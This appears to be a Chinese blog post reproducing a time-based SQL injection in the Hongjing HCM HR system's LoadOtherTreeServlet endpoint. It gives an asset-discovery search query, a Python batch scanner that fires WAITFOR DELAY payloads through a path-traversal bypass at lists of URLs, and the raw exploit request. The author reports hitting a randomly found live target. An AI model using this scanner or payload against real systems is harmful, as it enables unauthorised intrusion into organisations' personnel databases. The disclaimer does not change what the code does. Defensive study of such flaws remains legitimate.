【漏洞复现】宏景HCM-LoadOtherTreeServlet SQL注入

 声明:本文档或演示材料仅用于教育和教学目的。如果任何个人或组织利用本文档中的信息进行非法活动,将与本文档的作者或发布者无关。

一、漏洞描述

宏景HCM人力资源信息管理系统是一个全面的人力资源管理软件,它覆盖了人力资源管理的各个模块。该系统旨在帮助企事业单位建立高效的组织,促进组织的健康发展,并增强组织的软实力。然而,该系统的LoadOtherTreeServlet接口存在安全问题,因为它没有对传入的数据进行预编译和充分的验证,这导致了SQL注入漏洞的存在。

二、资产收集

1.使用网络空间测绘引擎搜索

鹰图检索:app.name="宏景 HCM"

2.使用poc批量扫描

import requests
import argparse
import time
from urllib3.exceptions import InsecureRequestWarning

RED = '\033[91m'  # 定义红色字体的ANSI转义码
RESET = '\033[0m'  # 定义重置颜色的ANSI转义码
# 忽略不安全请求的警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

def check_vulnerability(url):
    try:
        # 构造完整的攻击URL
        attack_url = url.rstrip('/') + "/w_selfservice/oauthservlet/%2e./.%2e/gz/LoadOtherTreeServlet?modelflag=4&budget_id=1%29%3BWAITFOR+DELAY+%270%3A0%3A4%27--&flag=1"
        attack_payload = """usertable=h00&usernumber=1&i9999=-1';WAITFOR+DELAY+'0:0:6'--+"""

        headers = {
            'Content-Type': 'application/x-www-form-urlencoded'
        }

        start_time = time.time()  # 记录开始时间
        response = requests.post(attack_url, headers=headers, data=attack_payload, verify=False, timeout=10)  # 发送POST请求
        elapsed_time = time.time() - start_time  # 计算请求耗时

        if 4 < elapsed_time < 6:  # 如果耗时在4到6秒之间,可能存在漏洞
            print(f"{RED}URL [{url}] 可能存在宏景HCM-LoadOtherTreeServlet-sql注入漏洞{RESET}")
        else:
            print(f"URL [{url}] 不存在漏洞")
    except requests.exceptions.Timeout:  # 捕获超时异常
        print(f"URL [{url}] 请求超时,可能存在漏洞")
    except requests.RequestException as e:  # 捕获其他请求异常
        print(f"URL [{url}] 请求失败: {e}")

def main():
    parser = argparse.ArgumentParser(description='检测目标地址是否宏景HCM-LoadOtherTreeServlet-sql注入漏洞')
    parser.add_argument('-u', '--url', help='指定目标地址')
    parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')

    args = parser.parse_args()

    if args.url:  # 如果提供了单个URL参数
        if not args.url.startswith("http://") and not args.url.startswith("https://"):
            args.url = "http://" + args.url
        check_vulnerability(args.url)
    elif args.file:  # 如果提供了包含多个URL的文件参数
        with open(args.file, 'r') as file:
            urls = file.read().splitlines()
            for url in urls:
                if not url.startswith("http://") and not url.startswith("https://"):
                    url = "http://" + url
                check_vulnerability(url)

if __name__ == '__main__':
    main()

cmd运行:python poc.py -f url.txt

 随机寻找的幸运儿

三、漏洞复现 

1.构造数据包


GET /w_selfservice/oauthservlet/%2e./.%2e/gz/LoadOtherTreeServlet?modelflag=4&budget_id=1%29%3BWAITFOR+DELAY+%270%3A0%3A4%27--&flag=1 HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close

2.数据包分析 

  1. 请求方法:GET
  2. 请求路径:/w_selfservice/oauthservlet/%2e./.%2e/gz/LoadOtherTreeServlet?modelflag=4&budget_id=1%29%3BWAITFOR+DELAY+%270%3A0%3A4%27--&flag=1
  3. HTTP版本:HTTP/1.1
  4. Host头:ip(目标服务器的IP地址)
  5. User-Agent头:Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:125.0) Gecko/20100101 Firefox/125.0(表示客户端使用的浏览器和操作系统信息)
  6. Accept头:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8(表示客户端接受的内容类型及其优先级)
  7. Accept-Language头:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2(表示客户端接受的语言及其优先级)
  8. Accept-Encoding头:gzip, deflate, br(表示客户端接受的编码方式)
  9. Connection头:close(表示请求完成后关闭连接)

/w_selfservice/oauthservlet/%2e./.%2e/gz/LoadOtherTreeServlet,在解码后,URL路径变为:/w_selfservice/oauthservlet/././gz/LoadOtherTreeServlet

请求还包含以下参数:

  • modelflag=4:可能是用于指定某种模式或配置的标志。
  • budget_id=1)WAITFOR+DELAY+'0:0:4'--&flag=1:其中budget_id的值被设置为1,后面跟着一段SQL语句(WAITFOR DELAY '0:0:4'),如果SQL语句被正常执行则延时4秒

3.结束跑路

执行成功,延时1秒。

执行成功,延时4秒。

每篇一言:风月折断杨柳枝,琴瑟朝露挥掷成诗。

  • 15
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Cityミ slaves

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值